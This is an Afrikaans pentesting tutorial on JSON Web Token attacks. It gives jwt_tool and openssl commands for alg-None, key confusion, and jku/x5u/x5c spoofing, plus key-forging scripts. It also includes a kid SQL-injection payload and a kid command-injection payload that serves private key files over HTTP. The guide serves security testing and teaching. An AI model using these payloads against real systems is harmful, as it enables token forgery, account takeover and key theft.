JWT Kw vulnerabilities (Json Web Tokens)

Reading time: 14 minutes

Deel van hierdie pos is gebaseer op die wonderlike pos: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Skepper van die groot hulpmiddel om JWTs te pentest https://github.com/ticarpi/jwt_tool

Vinige Oorwinnings

Voer jwt_tool uit met modus All Tests! en wag vir groen lyne

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

As jy gelukkig is, sal die hulpmiddel 'n geval vind waar die webtoepassing die JWT verkeerd nagaan:

Dan kan jy die versoek in jou proxy soek of die gebruikte JWT vir daardie versoek dump met jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

U kan ook die Burp Extension SignSaboteur gebruik om JWT-aanvalle vanaf Burp te loods.

Manipuleer data sonder om enigiets te verander

U kan net met die data manipuleer terwyl die handtekening dieselfde bly en kyk of die bediener die handtekening nagaan. Probeer om u gebruikersnaam na "admin" te verander byvoorbeeld.

Word die token nagegaan?

Om te kyk of 'n JWT se handtekening geverifieer word:

• 'n Foutboodskap dui op 'n aanhoudende verifikasie; sensitiewe besonderhede in uitgebreide foute moet hersien word.
• 'n Verandering in die teruggegee bladsy dui ook op verifikasie.
• Geen verandering dui op geen verifikasie nie; dit is wanneer om te eksperimenteer met die manipulasie van payload claims.

Oorsprong

Dit is belangrik om te bepaal of die token aan die bedienerkant of kliëntkant gegenereer is deur die proxy se versoekgeskiedenis te ondersoek.

• Tokens wat eers aan die kliëntkant gesien word, dui daarop dat die sleutel moontlik aan kliëntkantkode blootgestel mag wees, wat verdere ondersoek vereis.
• Tokens wat aan die bedienerkant oorspronklik is, dui op 'n veilige proses.

Duur

Kyk of die token langer as 24 uur hou... dalk verval dit nooit. As daar 'n "exp" veld is, kyk of die bediener dit korrek hanteer.

Brute-force HMAC geheim

Sien hierdie bladsy.

Verander die algoritme na None

Stel die algoritme wat gebruik word as "None" en verwyder die handtekeningdeel.

Gebruik die Burp-uitbreiding genaamd "JSON Web Token" om hierdie kwesbaarheid te probeer en om verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token" oortjie kan u die waardes van die token verander. U kan ook kies om die waarde van die "Alg" veld na "None" te plaas).

Verander die algoritme RS256(asimmetries) na HS256(simmetries) (CVE-2016-5431/CVE-2016-10555)

Die algoritme HS256 gebruik die geheime sleutel om elke boodskap te teken en te verifieer.
Die algoritme RS256 gebruik die privaat sleutel om die boodskap te teken en gebruik die publieke sleutel vir verifikasie.

As u die algoritme van RS256 na HS256 verander, gebruik die agterkantkode die publieke sleutel as die geheime sleutel en gebruik dan die HS256-algoritme om die handtekening te verifieer.

Dan, deur die publieke sleutel te gebruik en RS256 na HS256 te verander, kan ons 'n geldige handtekening skep. U kan die sertifikaat van die webbediener verkry deur dit uit te voer:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nuwe publieke sleutel binne die kop

'n Aanvaller inkorporeer 'n nuwe sleutel in die kop van die token en die bediener gebruik hierdie nuwe sleutel om die handtekening te verifieer (CVE-2018-0114).

Dit kan gedoen word met die "JSON Web Tokens" Burp uitbreiding.
(Stuur die versoek na die Repeater, binne die JSON Web Token oortjie kies "CVE-2018-0114" en stuur die versoek).

JWKS Spoofing

Die instruksies detail 'n metode om die sekuriteit van JWT tokens te evalueer, veral dié wat 'n "jku" kop eis. Hierdie eis moet skakel na 'n JWKS (JSON Web Key Set) lêer wat die publieke sleutel bevat wat nodig is vir die token se verifikasie.

• Evalueer Tokens met "jku" Kop:

• Verifieer die "jku" eis se URL om te verseker dat dit na die toepaslike JWKS lêer lei.

• Wysig die token se "jku" waarde om na 'n beheerde webdiens te lei, wat verkeer waarneming moontlik maak.

• Monitering vir HTTP Interaksie:

• Waarneming van HTTP versoeke na jou gespesifiseerde URL dui op die bediener se pogings om sleutels van jou verskafde skakel te verkry.

• Wanneer jwt_tool vir hierdie proses gebruik word, is dit noodsaaklik om die jwtconf.ini lêer met jou persoonlike JWKS ligging op te dateer om die toetsing te fasiliteer.

• Opdrag vir jwt_tool:

• Voer die volgende opdrag uit om die scenario met jwt_tool te simuleer:

python3 jwt_tool.py JWT_HERE -X s

Kid Kwessies Oorsig

'n Opsionele kop eis bekend as kid word gebruik om 'n spesifieke sleutel te identifiseer, wat veral belangrik word in omgewings waar verskeie sleutels bestaan vir token handtekening verifikasie. Hierdie eis help om die toepaslike sleutel te kies om 'n token se handtekening te verifieer.

Onthulling van Sleutel deur "kid"

Wanneer die kid eis in die kop teenwoordig is, word dit aanbeveel om die webgids te soek na die ooreenstemmende lêer of sy variasies. Byvoorbeeld, as "kid":"key/12345" gespesifiseer is, moet die lêers /key/12345 en /key/12345.pem in die web wortel gesoek word.

Pad Traversering met "kid"

Die kid eis kan ook uitgebuit word om deur die lêerstelsel te navigeer, wat moontlik die keuse van 'n arbitrêre lêer toelaat. Dit is haalbaar om vir konnektiwiteit te toets of om Server-Side Request Forgery (SSRF) aanvalle uit te voer deur die kid waarde te verander om spesifieke lêers of dienste te teiken. Om die JWT te manipuleer om die kid waarde te verander terwyl die oorspronklike handtekening behou word, kan gedoen word met die -T vlag in jwt_tool, soos hieronder gedemonstreer:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Deur te teiken op lêers met voorspelbare inhoud, is dit moontlik om 'n geldige JWT te vervals. Byvoorbeeld, die /proc/sys/kernel/randomize_va_space lêer in Linux-stelsels, wat bekend is om die waarde 2 te bevat, kan gebruik word in die kid parameter met 2 as die simmetriese wagwoord vir JWT-generasie.

SQL Inbraak via "kid"

As die inhoud van die kid eis gebruik word om 'n wagwoord uit 'n databasis te verkry, kan 'n SQL-inbraak gefasiliteer word deur die kid payload te wysig. 'n Voorbeeld payload wat SQL-inbraak gebruik om die JWT-handtekeningproses te verander, sluit in:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Hierdie verandering dwing die gebruik van 'n bekende geheime sleutel, ATTACKER, vir JWT-handtekening.

OS Inbraak deur "kid"

'n Scenario waar die kid parameter 'n lêerpad spesifiseer wat binne 'n opdraguitvoeringskonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur opdragte in die kid parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeld payload om RCE en sleutelblootstelling te bereik is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u en jku

jku

jku staan vir JWK Set URL.
As die token 'n “jku” Header eis gebruik, dan kyk na die verskafde URL. Dit moet na 'n URL wys wat die JWKS-lêer bevat wat die Publieke Sleutel vir die verifikasie van die token hou. Manipuleer die token om die jku-waarde na 'n webdiens te wys wat jy kan monitor vir verkeer.

Eerstens moet jy 'n nuwe sertifikaat met nuwe private & publieke sleutels skep.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Dan kan jy byvoorbeeld jwt.io gebruik om die nuwe JWT te skep met die gecreëerde publieke en private sleutels en die parameter jku na die geskepte sertifikaat te wys. Om 'n geldige jku-sertifikaat te skep, kan jy die oorspronklike aflaai en die nodige parameters verander.

Jy kan die parameters "e" en "n" van 'n publieke sertifikaat verkry met:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. 'n URI wat na 'n stel X.509 (’n sertifikaatformaatstandaard) publieke sertifikate verwys wat in PEM-vorm gekodeer is. Die eerste sertifikaat in die stel moet die een wees wat gebruik word om hierdie JWT te teken. Die daaropvolgende sertifikate teken elk die vorige een, wat die sertifikaatketting voltooi. X.509 is gedefinieer in RFC 52807. Vervoersekuriteit is vereis om die sertifikate oor te dra.

Probeer om hierdie kop te verander na 'n URL onder jou beheer en kyk of enige versoek ontvang word. In daardie geval kan jy die JWT manipuleer.

Om 'n nuwe token te vervals met 'n sertifikaat wat deur jou beheer word, moet jy die sertifikaat skep en die publieke en private sleutels onttrek:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Dan kan jy byvoorbeeld jwt.io gebruik om die nuwe JWT te skep met die gecreëerde publieke en private sleutels en die parameter x5u na die sertifikaat .crt wat geskep is, te wys.

Jy kan ook albei van hierdie kwesbaarhede vir SSRFs misbruik.

x5c

Hierdie parameter kan die sertifikaat in base64 bevat:

As die aanvaller 'n self-ondertekende sertifikaat genereer en 'n vervalste token skep met die ooreenstemmende private sleutel en die waarde van die "x5c" parameter vervang met die nuut gegenereerde sertifikaat en die ander parameters, naamlik n, e en x5t, aanpas, dan sal die vervalste token in wese deur die bediener aanvaar word.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Ingebedde Publieke Sleutel (CVE-2018-0114)

As die JWT 'n ingebedde publieke sleutel het soos in die volgende scenario:

Met behulp van die volgende nodejs skrip is dit moontlik om 'n publieke sleutel uit daardie data te genereer:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Dit is moontlik om 'n nuwe privaat/openbare sleutel te genereer, die nuwe openbare sleutel in die token in te sluit en dit te gebruik om 'n nuwe handtekening te genereer:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

U kan die "n" en "e" verkry met hierdie nodejs-skrip:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Uiteindelik, met die publieke en private sleutel en die nuwe "n" en "e" waardes kan jy jwt.io gebruik om 'n nuwe geldige JWT met enige inligting te vervals.

ES256: Onthulling van die private sleutel met dieselfde nonce

As sommige toepassings ES256 gebruik en dieselfde nonce gebruik om twee jwts te genereer, kan die private sleutel herstel word.

Hier is 'n voorbeeld: ECDSA: Onthulling van die private sleutel, as dieselfde nonce gebruik word (met SECP256k1)

JTI (JWT ID)

Die JTI (JWT ID) eis bied 'n unieke identifiseerder vir 'n JWT Token. Dit kan gebruik word om te voorkom dat die token herhaal word.
Maar, stel jou 'n situasie voor waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. So as die agtergrond die ID op elke versoek verhoog, kan jy dit misbruik om 'n versoek te herhaal (wat vereis dat jy 10000 versoeke tussen elke suksesvolle herhaling stuur).

JWT Geregistreerde eise

JSON Web Token (JWT)

Ander aanvalle

Cross-service Relay Aanvalle

Daar is waargeneem dat sommige webtoepassings op 'n vertroude JWT-diens staatmaak vir die generasie en bestuur van hul tokens. Voorvalle is aangeteken waar 'n token, gegenereer vir een kliënt deur die JWT-diens, deur 'n ander kliënt van dieselfde JWT-diens aanvaar is. As die uitreiking of hernuwing van 'n JWT via 'n derdeparty-diens waargeneem word, moet die moontlikheid om 'n rekening op 'n ander kliënt van daardie diens aan te meld met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkregen token in 'n versoek na die teiken te herhaal om te sien of dit aanvaar word.

• 'n Kritieke probleem kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing benodig mag word as om aan te meld op 'n derdeparty-toepassing, aangesien dit 'n wettige grys gebied kan betree.

Vervaldatum Kontrole van Tokens

Die token se vervaldatum word nagegaan met die "exp" Payload eis. Aangesien JWTs dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vang en herhaling van 'n ander gebruiker se JWT die vervalsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Boonop is die implementering van relevante kontroles deur die toepassing om te verseker dat hierdie waarde verwerk word en dat vervalde tokens verwerp word, van kardinale belang. As die token 'n "exp" eis insluit en toetsingstydperke dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsing en vervaldatum kontrole (tydstempel in UTC), kan gelees word met die jwt_tool se -R vlag.

• 'n Sekuriteitsrisiko mag teenwoordig wees as die toepassing steeds die token valideer, aangesien dit mag impliseer dat die token nooit kan verval nie.

Gereedskap

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens